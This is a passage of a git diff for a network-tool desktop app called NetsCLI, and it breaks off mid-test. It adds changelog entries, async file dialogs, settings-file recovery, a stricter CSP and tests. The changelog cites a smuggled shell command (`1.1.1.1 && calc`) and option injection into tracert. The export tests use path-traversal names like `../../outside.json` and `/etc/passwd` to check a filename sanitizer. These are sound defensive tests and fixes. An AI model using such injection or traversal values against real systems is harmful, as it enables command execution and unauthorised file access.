diff --git a/CHANGELOG.md b/CHANGELOG.md
index 06fa6bde..52126ca4 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -106,6 +106,36 @@ its heading and collects entries. The date and the link go on with the tag.
   Felix Stubner. Upgrading from an earlier version leaves one entry, under the
   new name.
 
+- **CSV files saved by the desktop app start with a UTF-8 byte-order mark.**
+  The app wrote plain UTF-8, and Excel on Windows reads a CSV that lacks the
+  mark in its older code page, so a device called "Felix’s iPhone" would show
+  as "Felix’s iPhone". Both CSV exports now begin with the mark, which is how
+  Excel is told a file is UTF-8. The command line's CSV is meant for pipes and
+  has none, and JSON exports are unchanged. A script that reads these files as
+  plain UTF-8 will see the mark in front of the first header and needs
+  `utf-8-sig` or the equivalent.
+
+- **The desktop app's content security policy is tighter.** It no longer
+  allows images from data or blob URLs or from the asset protocol, and it
+  forbids `<base>` elements, form submission and plugin objects. The app uses
+  none of them.
+
+- **The update notice says why an install cannot update itself.** Installs
+  from Scoop, the AUR or a .deb got the same "Update available" notice as
+  everyone else, and its link opens the release page, which invites a manual
+  download over a copy the package manager owns. The notice now carries the
+  reason, for example "Installed with Scoop, so update it there".
+
+- **The update dialog says the app closes to finish.** On Windows the app
+  exits as the installer starts, and nothing said so if the installer was then
+  declined or failed. The dialog now says NetsCLI closes to finish and should
+  reopen by itself, and to open it again if it does not.
+
+- **The Packet Capture screen says no published installer includes it.** It
+  told people to use a PCAP-enabled desktop build, which reads as a download
+  that does not exist. It now says the published installers are built without
+  packet capture and that it needs a build made from source.
+
 ### Fixed
 
 - **Text from the network could reorder or hide itself.** The cleaning that
@@ -223,6 +253,88 @@ its heading and collects entries. The date and the link go on with the tag.
   `--version` and gives up after 3 seconds. A program still running at that
   point was left behind. It is now stopped.
 
+- **Console windows no longer open when the desktop app looks up names or
+  traces a route on Windows.** Discover and Sweep run `ping -a` for every host
+  that answers, Trace Route runs `tracert`, and Settings runs
+  `netscli --version` for each candidate it finds. The app has no console of
+  its own, so each of those opened one. With Windows Terminal as the default
+  terminal that is a window titled with the tool's path, open for as long as
+  the tool runs. Called from a program with no console, a name lookup opened
+  that window, and with the fix it opened none. The ARP commands already
+  started this way.
+
+- **A route trace no longer fails on a Windows set to another language.**
+  On a Windows in a language with accented letters, such as German or French,
+  `tracert` can print a byte that is not valid UTF-8, and reading its output
+  as UTF-8 ended the whole trace with "trace stdout read failed", hops already
+  printed included. The output is now decoded leniently, so the odd character
+  shows as a replacement mark and the trace completes.
+
+- **A trace refuses a target that the trace tool would read as an option.**
+  The target goes to `tracert`, `traceroute` or `tracepath` as a plain
+  argument, so `netscli trace -- -d` handed the tool a flag. A target that is
+  empty or starts with `-` or `/` now gets an error before anything runs. A
+  host name or an address never starts with either, and Windows' `tracert`
+  reads a leading `/` as an option too.
+
+- **File dialogs in the desktop app no longer freeze the window.** Open
+  Result Bundle, Choose Folder and the Save dialog for exports waited for the
+  dialog on the thread that draws the window, which the dialog library says
+  not to do. On Windows, Open Result Bundle left the window unable to answer
+  anything for as long as its dialog was open, and Windows marked it as not
+  responding after about five seconds. The others wait the same way. They now
+  wait off that thread, and the window keeps answering.
+
+- **A stalled update download no longer traps the update dialog.** The dialog
+  cannot be closed while an update downloads, and nothing limited how long a
+  download could take, so one that stalled kept the dialog open until the app
+  was quit. The update check now gives up after 30 seconds and the download
+  after 10 minutes, and the dialog then shows its message and a link to the
+  release page.
+
+- **The desktop app announces failed runs and progress to screen readers.** A
+  failed run's message and the progress bar were silent at the default
+  settings, because the only live regions were the toasts, which are off by
+  default. The error message is now an alert, and a hidden status line says
+  when a run starts, at each quarter of the way, and when it finishes with its
+  summary or is stopped.
+
+- **Escape no longer stops a scan when it only closes a dialog or menu.**
+  Closing the About dialog, the update dialog or a context menu with Escape
+  also cancelled the scan running underneath it. Escape now closes what is
+  open and leaves the scan alone.
+
+- **A damaged save-settings file no longer stops every export.** One
+  unreadable `gui-save-settings.json` made every export and capture fail
+  until the file was deleted by hand, and the Settings controls could not
+  repair it. It now reads as the defaults, and the next change writes a good
+  file over it. The file is written through a temporary one, so an
+  interruption cannot leave it half written.
+
+- **A damaged result file no longer crashes the desktop window, and the error
+  screen is usable.** A result bundle whose entries lacked fields passed the
+  checks and then broke the table while it was drawn, which ended the
+  session. Such a file is now refused with a message. The error screen was
+  black on near-black on a light theme and gave no way to move or close the
+  window. It is now readable and has the window buttons.
+
+- **The command the desktop app copies can no longer carry a shell command
+  from a result file.** The command strip, its copy button and the History
+  entry are built from the tab's form values, and opening a result file fills
+  those from the file. A host such as `1.1.1.1 && calc` was one click from the
+  clipboard as a working command. Values with spaces or shell syntax are now
+  quoted as one argument, and a value no quoting can make safe (one with a
+  `$`, a backtick, a double quote, a `%` or a `!` in it) is left out. A
+  capture filter containing a double quote is now left out too, where it was
+  escaped before.
+
+- **Smaller accessibility fixes in the desktop app.** Error toasts stay until
+  they are dismissed instead of leaving after under two seconds. The tab
+  close buttons no longer add a Tab stop each to the tab strip. Workspace
+  search tells a screen reader which result is current. The update dialog is
+  no longer read out again at every step of a download. The tab spinner stops
+  turning when the system asks for reduced motion.
+
 - **MCP clients built on the official SDK can connect.** Every reply the MCP
   server sent carried both a result and an error, one of them empty, which
   the protocol doesn't allow. The official TypeScript SDK drops a reply like
diff --git a/apps/netscli-gui/src-tauri/capabilities/main.json b/apps/netscli-gui/src-tauri/capabilities/main.json
index 1bbacb6c..18d37e60 100644
--- a/apps/netscli-gui/src-tauri/capabilities/main.json
+++ b/apps/netscli-gui/src-tauri/capabilities/main.json
@@ -1,7 +1,7 @@
 {
   "$schema": "../gen/schemas/desktop-schema.json",
   "identifier": "main",
-  "description": "Capabilities granted to the main window. Tauri 2 is deny-by-default per permission, and `core:window:default` only includes read-only operations (is-maximized, inner-size, etc.). Without explicit grants for the mutating ops, the close/minimize/maximize buttons in TitleBar.tsx silently fail because the app uses `decorations: false` and a custom React title bar instead of the OS-native window chrome.",
+  "description": "Capabilities granted to the main window. Tauri 2 is deny-by-default per permission, and `core:window:default` only includes read-only operations (is-maximized, inner-size, etc.). Without explicit grants for the mutating ops, the close/minimize/maximize buttons in AppFrame.tsx silently fail because the app uses `decorations: false` and a custom React title bar instead of the OS-native window chrome.",
   "windows": ["main"],
   "permissions": [
     "core:default",
diff --git a/apps/netscli-gui/src-tauri/src/commands/files/artifacts.rs b/apps/netscli-gui/src-tauri/src/commands/files/artifacts.rs
index 12f405b2..16d6084f 100644
--- a/apps/netscli-gui/src-tauri/src/commands/files/artifacts.rs
+++ b/apps/netscli-gui/src-tauri/src/commands/files/artifacts.rs
@@ -98,3 +98,60 @@ fn is_in_allowed_save_root(path: &Path) -> Result<bool, String> {
 
     Ok(false)
 }
+
+// What the renderer may ask the OS to open or reveal. These stop at the checks
+// that need nothing but the file and the registry; the save-folder check reads
+// the user's real settings and creates the default folder, which a test
+// should not do.
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn temp_file(tag: &str, name: &str) -> PathBuf {
+        let dir = std::env::temp_dir().join(format!(
+            "netscli-artifact-test-{}-{tag}",
+            std::process::id()
+        ));
+        std::fs::create_dir_all(&dir).unwrap();
+        let path = dir.join(name);
+        std::fs::write(&path, "x").unwrap();
+        path
+    }
+
+    #[test]
+    fn only_the_kinds_the_app_writes_can_be_opened() {
+        for name in ["a.pcap", "a.json", "a.csv", "a.txt", "A.CSV"] {
+            assert!(has_supported_artifact_extension(Path::new(name)), "{name}");
+        }
+        for name in ["a.exe", "a.ps1", "a.lnk", "a.html", "a"] {
+            assert!(!has_supported_artifact_extension(Path::new(name)), "{name}");
+        }
+    }
+
+    #[test]
+    fn an_empty_missing_or_wrong_kind_of_path_is_refused() {
+        let registry = ArtifactRegistry::default();
+        assert!(validate_saved_artifact_path("  ", &registry).is_err());
+        assert!(validate_saved_artifact_path("definitely/not/here.csv", &registry).is_err());
+
+        let exe = temp_file("exe", "tool.exe");
+        let err = validate_saved_artifact_path(exe.to_str().unwrap(), &registry).unwrap_err();
+        assert!(err.contains("not supported"), "{err}");
+
+        let dir = exe.parent().unwrap();
+        let err = validate_saved_artifact_path(dir.to_str().unwrap(), &registry).unwrap_err();
+        assert!(err.contains("must be a file"), "{err}");
+        std::fs::remove_dir_all(dir).unwrap();
+    }
+
+    #[test]
+    fn a_file_this_session_wrote_is_accepted() {
+        let registry = ArtifactRegistry::default();
+        let file = temp_file("registered", "scan.csv");
+        registry.register(&file).unwrap();
+
+        let accepted = validate_saved_artifact_path(file.to_str().unwrap(), &registry).unwrap();
+        assert_eq!(accepted, std::fs::canonicalize(&file).unwrap());
+        std::fs::remove_dir_all(file.parent().unwrap()).unwrap();
+    }
+}
diff --git a/apps/netscli-gui/src-tauri/src/commands/files/dialog.rs b/apps/netscli-gui/src-tauri/src/commands/files/dialog.rs
new file mode 100644
index 00000000..f4b2dbf2
--- /dev/null
+++ b/apps/netscli-gui/src-tauri/src/commands/files/dialog.rs
@@ -0,0 +1,76 @@
+use tokio::sync::oneshot;
+
+/// Show a native file dialog from an `async` command and wait for its answer.
+///
+/// `show` is one of the dialog plugin's callback calls (`pick_file`,
+/// `pick_folder`, `save_file`). It puts the dialog on the main thread and
+/// reports from a thread of its own, so nothing here blocks the main thread,
+/// and nothing blocks a runtime worker either while the user decides.
+///
+/// This is why the commands that open a dialog are `async`. A plain `fn`
+/// command runs on the main thread, and the plugin says its `blocking_*` calls
+/// "should *NOT* be used when running on the main thread". The window stops
+/// repainting for as long as the dialog is open, and on macOS the dialog is
+/// driven by the main run loop, which a main thread waiting on the dialog
+/// cannot also run.
+///
+/// `None` is a cancelled dialog, or an app that began closing before the dialog
+/// was answered.
+pub(super) async fn ask<T: Send + 'static>(
+    show: impl FnOnce(Box<dyn FnOnce(Option<T>) + Send>),
+) -> Option<T> {
+    let (answer, answered) = oneshot::channel();
+    show(Box::new(move |chosen| {
+        let _ = answer.send(chosen);
+    }));
+    answered.await.ok().flatten()
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use std::sync::atomic::{AtomicUsize, Ordering};
+    use std::sync::Arc;
+    use std::time::Duration;
+
+    /// The wait must leave the thread it runs on free.
+    ///
+    /// The plugin's own `blocking_*` calls park the calling thread on a channel,
+    /// and when these commands were plain `fn`s that thread was the main one. A
+    /// current-thread runtime makes the difference visible: a second task has
+    /// to get time while `ask` waits for a dialog answered from another thread,
+    /// the way the plugin answers.
+    #[tokio::test(flavor = "current_thread")]
+    async fn waiting_for_a_dialog_leaves_the_thread_free() {
+        let ticks = Arc::new(AtomicUsize::new(0));
+        let counter = Arc::clone(&ticks);
+        tokio::spawn(async move {
+            loop {
+                counter.fetch_add(1, Ordering::SeqCst);
+                tokio::time::sleep(Duration::from_millis(2)).await;
+            }
+        });
+
+        let chosen = ask(|done| {
+            std::thread::spawn(move || {
+                std::thread::sleep(Duration::from_millis(100));
+                done(Some("report.json"));
+            });
+        })
+        .await;
+
+        assert_eq!(chosen, Some("report.json"));
+        assert!(
+            ticks.load(Ordering::SeqCst) > 1,
+            "nothing else ran while the dialog was open"
+        );
+    }
+
+    #[tokio::test]
+    async fn a_dialog_that_is_never_answered_reads_as_cancelled() {
+        // The app closing with a dialog open drops the callback unanswered.
+        // The plugin's blocking calls unwrap that and panic.
+        let chosen: Option<String> = ask(drop).await;
+        assert_eq!(chosen, None);
+    }
+}
diff --git a/apps/netscli-gui/src-tauri/src/commands/files/export.rs b/apps/netscli-gui/src-tauri/src/commands/files/export.rs
index 64133cf2..fb8ab2ca 100644
--- a/apps/netscli-gui/src-tauri/src/commands/files/export.rs
+++ b/apps/netscli-gui/src-tauri/src/commands/files/export.rs
@@ -3,6 +3,7 @@ use std::path::{Path, PathBuf};
 use tauri::State;
 use tauri_plugin_dialog::DialogExt;
 
+use super::dialog;
 use super::preferences::{
     default_save_directory, format_byte_limit, preferred_save_directory,
     read_file_save_preferences, timestamp_millis,
@@ -11,8 +12,9 @@ use crate::state::ArtifactRegistry;
 
 const MAX_RESULT_BUNDLE_BYTES: u64 = 25 * 1024 * 1024;
 
+// The commands that can open a dialog are `async`; see `dialog::ask`.
 #[tauri::command]
-pub(crate) fn export_text_file(
+pub(crate) async fn export_text_file(
     app: tauri::AppHandle,
     artifact_registry: State<'_, ArtifactRegistry>,
     filename: String,
@@ -27,7 +29,7 @@ pub(crate) fn export_text_file(
         );
     }
 
-    let path = resolve_export_path(&app, &filename)?;
+    let path = resolve_export_path(&app, &filename).await?;
 
     if let Some(parent) = path
         .parent()
@@ -43,7 +45,7 @@ pub(crate) fn export_text_file(
 }
 
 #[tauri::command]
-pub(crate) fn save_result_bundle(
+pub(crate) async fn save_result_bundle(
     app: tauri::AppHandle,
     artifact_registry: State<'_, ArtifactRegistry>,
     contents: String,
@@ -55,17 +57,18 @@ pub(crate) fn save_result_bundle(
         ));
     }
     let filename = format!("netscli-result-{}.netscli-result.json", timestamp_millis());
-    export_text_file(app, artifact_registry, filename, contents, None)
+    export_text_file(app, artifact_registry, filename, contents, None).await
 }
 
 #[tauri::command]
-pub(crate) fn open_result_bundle(app: tauri::AppHandle) -> Result<serde_json::Value, String> {
-    let selected = app
+pub(crate) async fn open_result_bundle(app: tauri::AppHandle) -> Result<serde_json::Value, String> {
+    let picker = app
         .dialog()
         .file()
         .set_title("Open NetsCLI Result")
-        .add_filter("NetsCLI Result", &["json"])
-        .blocking_pick_file()
+        .add_filter("NetsCLI Result", &["json"]);
+    let selected = dialog::ask(|done| picker.pick_file(done))
+        .await
         .ok_or_else(|| "Open result cancelled".to_string())?;
     let path = selected
         .into_path()
@@ -95,7 +98,7 @@ pub(crate) fn ensure_file_size_limit(
     Ok(())
 }
 
-fn resolve_export_path(app: &tauri::AppHandle, filename: &str) -> Result<PathBuf, String> {
+async fn resolve_export_path(app: &tauri::AppHandle, filename: &str) -> Result<PathBuf, String> {
     if let Some(mut path) = std::env::var_os("NETSCLI_EXPORT_DIR").map(PathBuf::from) {
         path.push(filename);
         return Ok(path);
@@ -113,16 +116,16 @@ fn resolve_export_path(app: &tauri::AppHandle, filename: &str) -> Result<PathBuf
         return export_path_in_directory(dir, filename);
     }
 
-    let dialog_path = ask_export_path(app, filename, prefs.default_directory.as_deref())?;
+    let dialog_path = ask_export_path(app, filename, prefs.default_directory.as_deref()).await?;
     Ok(dialog_path)
 }
 
-fn ask_export_path(
+async fn ask_export_path(
     app: &tauri::AppHandle,
     filename: &str,
     default_directory: Option<&str>,
 ) -> Result<PathBuf, String> {
-    let mut dialog = app
+    let mut picker = app
         .dialog()
         .file()
         .set_title("Save NetsCLI Export")
@@ -130,14 +133,14 @@ fn ask_export_path(
         .set_can_create_directories(true);
 
     if let Some((name, extensions)) = export_filter(filename) {
-        dialog = dialog.add_filter(name, &extensions);
+        picker = picker.add_filter(name, &extensions);
     }
     if let Some(directory) = preferred_save_directory(default_directory)? {
-        dialog = dialog.set_directory(directory);
+        picker = picker.set_directory(directory);
     }
 
-    let selected = dialog
-        .blocking_save_file()
+    let selected = dialog::ask(|done| picker.save_file(done))
+        .await
         .ok_or_else(|| "Export cancelled".to_string())?;
 
     let path = selected
@@ -199,3 +202,66 @@ fn sanitize_export_filename(filename: &str) -> Result<String, String> {
 
     Ok(cleaned)
 }
+
+// What the renderer is and is not allowed to write. The webview supplies the
+// filename, so these are what keeps an export inside the save folder.
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn the_names_the_app_generates_pass_unchanged() {
+        for name in [
+            "netscli-scan-1790000000000.csv",
+            "netscli-result-1790000000000.netscli-result.json",
+        ] {
+            assert_eq!(sanitize_export_filename(name).unwrap(), name);
+        }
+    }
+
+    #[test]
+    fn a_filename_cannot_carry_a_path_out_of_the_folder() {
+        for name in [
+            "../../outside.json",
+            "..\\..\\outside.json",
+            "C:\\Windows\\win.ini",
+            "/etc/passwd",
+            "sub/dir/file.txt",
+            "name:stream.txt",
+        ] {
+            let cleaned = sanitize_export_filename(name).unwrap();
+            assert!(
+                !cleaned.contains(['/', '\\', ':']),
+                "{name:?} became {cleaned:?}"
+            );
+            assert_eq!(
+                PathBuf::from(&cleaned).components().count(),
+                1,
+                "{cleaned:?}"
+            );
+        }
+    }
+
+    #[test]
+    fn a_filename_with_nothing_usable_in_it_is_refused() {
+        for name in ["", "   ", ".", "..", "---", "///"] {
+            assert!(sanitize_export_filename(name).is_err(), "{name:?}");
+        }
+    }
+
+    #[test]
+    fn the_save_folder_is_created_and_must_be_a_folder() {
+        let base = std::env::temp_dir().join(format!("netscli-export-test-{}", std::process::id()));
+        let _ = std::fs::remove_dir_all(&base);
+
+        let made = export_path_in_directory(base.join("nested"), "a.csv").unwrap();
+        assert_eq!(made, base.join("nested").join("a.csv"));
+        assert!(base.join("nested").is_dir());
+
+        let file = base.join("not-a-folder");
+        std::fs::write(&file, "x").unwrap();
+        assert!(export_path_in_directory(file, "a.csv").is_err());
+
+        std::fs::remove_dir_all(&base).unwrap();
+    }
+}
diff --git a/apps/netscli-gui/src-tauri/src/commands/files/mod.rs b/apps/netscli-gui/src-tauri/src/commands/files/mod.rs
index bbb019f8..819287f3 100644
--- a/apps/netscli-gui/src-tauri/src/commands/files/mod.rs
+++ b/apps/netscli-gui/src-tauri/src/commands/files/mod.rs
@@ -1,4 +1,5 @@
 mod artifacts;
+mod dialog;
 mod export;
 mod pcap_path;
 mod preferences;
diff --git a/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs b/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs
index f449f2d0..c3e82ac0 100644
--- a/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs
+++ b/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs
@@ -1,9 +1,11 @@
-use std::path::PathBuf;
+use std::path::{Path, PathBuf};
 use std::time::{SystemTime, UNIX_EPOCH};
 
 use serde::{Deserialize, Serialize};
 use tauri_plugin_dialog::DialogExt;
 
+use super::dialog;
+
 const SAVE_SETTINGS_FILE: &str = "gui-save-settings.json";
 const LEGACY_CAPTURE_SETTINGS_FILE: &str = "gui-capture-settings.json";
 
@@ -29,15 +31,16 @@ pub(crate) fn set_file_save_ask_each_time(
 }
 
 #[tauri::command]
-pub(crate) fn choose_file_save_default_directory(
+pub(crate) async fn choose_file_save_default_directory(
     app: tauri::AppHandle,
 ) -> Result<FileSavePreferences, String> {
-    let selected = app
+    let picker = app
         .dialog()
         .file()
         .set_title("Choose NetsCLI Save Folder")
-        .set_can_create_directories(true)
-        .blocking_pick_folder()
+        .set_can_create_directories(true);
+    let selected = dialog::ask(|done| picker.pick_folder(done))
+        .await
         .ok_or_else(|| "Folder selection cancelled".to_string())?;
 
     let path = selected
@@ -90,21 +93,47 @@ pub(super) fn read_file_save_preferences() -> Result<FileSavePreferences, String
         if legacy_path.exists() {
             let text = std::fs::read_to_string(&legacy_path)
                 .map_err(|e| format!("Failed to read legacy save settings: {e}"))?;
-            return serde_json::from_str(&text)
-                .map_err(|e| format!("Failed to parse legacy save settings: {e}"));
+            return Ok(parse_preferences(&text, LEGACY_CAPTURE_SETTINGS_FILE));
         }
         return Ok(FileSavePreferences::default());
     }
     let text =
         std::fs::read_to_string(&path).map_err(|e| format!("Failed to read save settings: {e}"))?;
-    serde_json::from_str(&text).map_err(|e| format!("Failed to parse save settings: {e}"))
+    Ok(parse_preferences(&text, SAVE_SETTINGS_FILE))
+}
+
+/// A settings file that does not parse reads as the defaults.
+///
+/// It used to be an error, and every export and capture reads these settings
+/// first, so one damaged file stopped all of them. The Settings controls could
+/// not repair it either: each one reads the file before it writes it. Reading
+/// the defaults lets the next change write a good file over the bad one. The
+/// cost is that a save folder the user had chosen is forgotten, which is
+/// better than nothing being saveable.
+fn parse_preferences(text: &str, file: &str) -> FileSavePreferences {
+    serde_json::from_str(text).unwrap_or_else(|error| {
+        // Only a debug build has anywhere to show this; the release app has no
+        // console.
+        eprintln!("netscli-gui: {file} could not be read, using the defaults: {error}");
+        FileSavePreferences::default()
+    })
 }
 
 fn write_file_save_preferences(prefs: &FileSavePreferences) -> Result<(), String> {
     let path = save_settings_path()?;
     let text = serde_json::to_string_pretty(prefs)
         .map_err(|e| format!("Failed to serialize save settings: {e}"))?;
-    std::fs::write(&path, text).map_err(|e| format!("Failed to write save settings: {e}"))
+    replace_file(&path, &text).map_err(|e| format!("Failed to write save settings: {e}"))
+}
+
+/// Write beside the file and rename over it, so an interruption leaves the old
+/// settings in place rather than a truncated file.
+fn replace_file(path: &Path, text: &str) -> std::io::Result<()> {
+    let temp = path.with_extension("json.tmp");
+    std::fs::write(&temp, text)?;
+    std::fs::rename(&temp, path).inspect_err(|_| {
+        let _ = std::fs::remove_file(&temp);
+    })
 }
 
 pub(super) fn preferred_save_directory(directory: Option<&str>) -> Result<Option<PathBuf>, String> {
@@ -143,3 +172,51 @@ pub(super) fn format_byte_limit(bytes: u64) -> String {
         format!("{bytes} bytes")
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn a_damaged_settings_file_reads_as_the_defaults() {
+        // Truncated by a crash mid-write, empty, and the wrong shape.
+        for text in [
+            "",
+            "{\"ask_each_time\": tr",
+            "not json",
+            "{\"ask_each_time\": \"yes\"}",
+        ] {
+            let prefs = parse_preferences(text, SAVE_SETTINGS_FILE);
+            assert!(!prefs.ask_each_time, "{text:?}");
+            assert_eq!(prefs.default_directory, None, "{text:?}");
+        }
+    }
+
+    #[test]
+    fn a_good_settings_file_is_read_as_written() {
+        let prefs = parse_preferences(
+            r#"{"ask_each_time": true, "default_directory": "D:\\Scans"}"#,
+            SAVE_SETTINGS_FILE,
+        );
+        assert!(prefs.ask_each_time);
+        assert_eq!(prefs.default_directory.as_deref(), Some("D:\\Scans"));
+    }
+
+    #[test]
+    fn replacing_a_file_swaps_its_contents_and_leaves_no_temporary_behind() {
+        let dir = std::env::temp_dir().join(format!("netscli-prefs-test-{}", std::process::id()));
+        std::fs::create_dir_all(&dir).unwrap();
+        let path = dir.join("gui-save-settings.json");
+
+        replace_file(&path, "old").unwrap();
+        replace_file(&path, "new").unwrap();
+
+        assert_eq!(std::fs::read_to_string(&path).unwrap(), "new");
+        let names: Vec<_> = std::fs::read_dir(&dir)
+            .unwrap()
+            .map(|entry| entry.unwrap().file_name())
+            .collect();
+        assert_eq!(names, ["gui-save-settings.json"]);
+        std::fs::remove_dir_all(&dir).unwrap();
+    }
+}
diff --git a/apps/netscli-gui/src-tauri/src/commands/mcp.rs b/apps/netscli-gui/src-tauri/src/commands/mcp.rs
index fbd1f5eb..cbaa8b93 100644
--- a/apps/netscli-gui/src-tauri/src/commands/mcp.rs
+++ b/apps/netscli-gui/src-tauri/src/commands/mcp.rs
@@ -41,6 +41,11 @@ const BIN_NAME: &str = if cfg!(windows) {
 /// A hung probe would freeze the panel with no way out.
 const PROBE_TIMEOUT: Duration = Duration::from_secs(3);
 
+/// Process creation flag that stops a console program opening a window. The
+/// same one the core sets for `arp`, `ping` and `tracert`.
+#[cfg(windows)]
+const CREATE_NO_WINDOW: u32 = 0x0800_0000;
+
 #[derive(Serialize)]
 #[serde(rename_all = "camelCase")]
 pub(crate) struct CliDetection {
@@ -132,6 +137,10 @@ async fn probe_version(path: &Path) -> Option<String> {
         .arg("--version")
         .stdin(std::process::Stdio::null())
         .kill_on_drop(true);
+    // `netscli` is a console program and this app has no console, so each
+    // candidate would otherwise open its own window while Settings is opening.
+    #[cfg(windows)]
+    command.creation_flags(CREATE_NO_WINDOW);
     let output = timeout(PROBE_TIMEOUT, command.output()).await.ok()?.ok()?;
 
     if !output.status.success() {
diff --git a/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs b/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs
index c11ebf84..8e7ca138 100644
--- a/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs
+++ b/apps/netscli-gui/src-tauri/src/commands/operations/capture.rs
@@ -8,6 +8,20 @@ use crate::state::{ArtifactRegistry, OperationManager};
 
 const MAX_GUI_PCAP_IMPORT_BYTES: u64 = 512 * 1024 * 1024;
 
+/// What opening a capture reads when the Packets field is empty, and the most
+/// it reads whatever that field says: the field's placeholder and its maximum
+/// in registry.ts. Without a limit the core summarises every packet up to ten
+/// million and hands them all back as one JSON value, while the progress text
+/// says "up to 1000".
+const DEFAULT_GUI_PCAP_IMPORT_PACKETS: usize = 1000;
+const MAX_GUI_PCAP_IMPORT_PACKETS: usize = 100_000;
+
+fn import_packet_limit(requested: Option<usize>) -> usize {
+    requested
+        .unwrap_or(DEFAULT_GUI_PCAP_IMPORT_PACKETS)
+        .min(MAX_GUI_PCAP_IMPORT_PACKETS)
+}
+
 #[derive(serde::Serialize)]
 pub(crate) struct PcapCapability {
     compiled: bool,
@@ -89,8 +103,28 @@ pub(crate) async fn open_pcap_file(
 
     let ops = Ops::default();
     let parsed = ops
-        .parse_pcap_file(path.display().to_string(), max_packets)
+        .parse_pcap_file(
+            path.display().to_string(),
+            Some(import_packet_limit(max_packets)),
+        )
         .map_err(|e| e.to_string())?;
     artifact_registry.register(&path)?;
     serde_json::to_value(parsed).map_err(|e| e.to_string())
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn an_empty_packets_field_does_not_mean_every_packet() {
+        assert_eq!(import_packet_limit(None), 1000);
+    }
+
+    #[test]
+    fn a_requested_limit_is_kept_up_to_the_fields_maximum() {
+        assert_eq!(import_packet_limit(Some(50)), 50);
+        assert_eq!(import_packet_limit(Some(100_000)), 100_000);
+        assert_eq!(import_packet_limit(Some(10_000_000)), 100_000);
+    }
+}
diff --git a/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs b/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs
index 2663b53b..5668052c 100644
--- a/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs
+++ b/apps/netscli-gui/src-tauri/src/commands/operations/mod.rs
@@ -219,6 +219,13 @@ impl Drop for RemoveOnDrop {
         // `Drop` cannot await, so the removal is spawned. Nothing waits on
         // the entry being gone -- op ids are unique per run, so a late
         // removal cannot strand a later operation.
+        //
+        // DNS Lookup with record type ALL is the exception: it reuses its
+        // id for ten calls in a row. A removal that ran after the next call
+        // had registered would take that call's entry, and Stop would find
+        // nothing to abort for it. This removal is spawned as one call ends
+        // and the next has to cross the IPC boundary to arrive, so that order
+        // is not expected, and the cost would be one lookup that Stop missed.
         let registry = Arc::clone(&self.registry);
         let op_id = std::mem::take(&mut self.op_id);
         tauri::async_runtime::spawn(async move {
diff --git a/apps/netscli-gui/src-tauri/src/state.rs b/apps/netscli-gui/src-tauri/src/state.rs
index b80ea3f8..c6e15f42 100644
--- a/apps/netscli-gui/src-tauri/src/state.rs
+++ b/apps/netscli-gui/src-tauri/src/state.rs
@@ -59,8 +59,10 @@ impl OperationManager {
     /// sender either way.
     ///
     /// `register` also aborts a task when an op id is re-used, which would
-    /// look the same. Op ids are UUIDs minted per run (`generateId('op')`), so
-    /// that path is unreachable in practice.
+    /// look the same. Op ids are UUIDs minted per run (`generateId('op')`),
+    /// with one exception: DNS Lookup with record type ALL makes ten calls,
+    /// one after another, under its run's id. Each is finished before the next
+    /// is sent, so none replaces a live entry.
     pub(crate) async fn is_registered(&self, op_id: &str) -> bool {
         self.tasks.lock().await.contains_key(op_id)
     }
diff --git a/apps/netscli-gui/src-tauri/tauri.conf.json b/apps/netscli-gui/src-tauri/tauri.conf.json
index 9512d0ae..40cb2f60 100644
--- a/apps/netscli-gui/src-tauri/tauri.conf.json
+++ b/apps/netscli-gui/src-tauri/tauri.conf.json
@@ -25,9 +25,12 @@
       "csp": {
         "default-src": "'self' asset: http://asset.localhost",
         "connect-src": "ipc: http://ipc.localhost https://api.github.com",
-        "img-src": "'self' asset: http://asset.localhost blob: data:",
+        "img-src": "'self'",
         "style-src": "'self'",
-        "script-src": "'self'"
+        "script-src": "'self'",
+        "base-uri": "'none'",
+        "form-action": "'none'",
+        "object-src": "'none'"
       }
     }
   },
diff --git a/apps/netscli-gui/src/components/primitives/ErrorBoundary.test.tsx b/apps/netscli-gui/src/components/primitives/ErrorBoundary.test.tsx
new file mode 100644
index 00000000..fffa2e20
--- /dev/null
+++ b/apps/netscli-gui/src/components/primitives/ErrorBoundary.test.tsx
@@ -0,0 +1,56 @@
+// @vitest-environment jsdom
+//
+// The screen a crashed window turns into. Nothing exercised it before, and it
+// is the one screen that cannot lean on the rest of the app: no menu, no
+// preferences, and none of the styles `.container` supplies.
+
+import { render, screen } from '@testing-library/react';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+
+import { ErrorBoundary } from './ErrorBoundary';
+
+function Boom(): never {
+  throw new Error('service.addresses.join is not a function');
+}
+
+beforeEach(() => {
+  // React reports the error it caught; the test does not need the noise.
+  vi.spyOn(console, 'error').mockImplementation(() => {});
+});
+afterEach(() => vi.restoreAllMocks());
+
+describe('ErrorBoundary', () => {
+  it('says what happened and how to recover', () => {
+    render(
+      <ErrorBoundary>
+        <Boom />
+      </ErrorBoundary>,
+    );
+    expect(screen.getByRole('alert').textContent).toContain('Something went wrong');
+    expect(screen.getByText('service.addresses.join is not a function')).toBeTruthy();
+    expect(screen.getByRole('button', { name: 'Reload' })).toBeTruthy();
+  });
+
+  it('keeps a way to move and close a window that has no title bar', () => {
+    render(
+      <ErrorBoundary>
+        <Boom />
+      </ErrorBoundary>,
+    );
+    for (const name of ['Minimize', 'Maximize', 'Close']) {
+      expect(screen.getByRole('button', { name })).toBeTruthy();
+    }
+  });
+
+  it('is drawn inside .container, which is where the colour tokens are defined', () => {
+    // Outside it the text colour comes from the OS theme on a page that is
+    // always dark: black on near-black for anyone on a light theme. jsdom has
+    // no stylesheet, so the structure is what can be checked.
+    render(
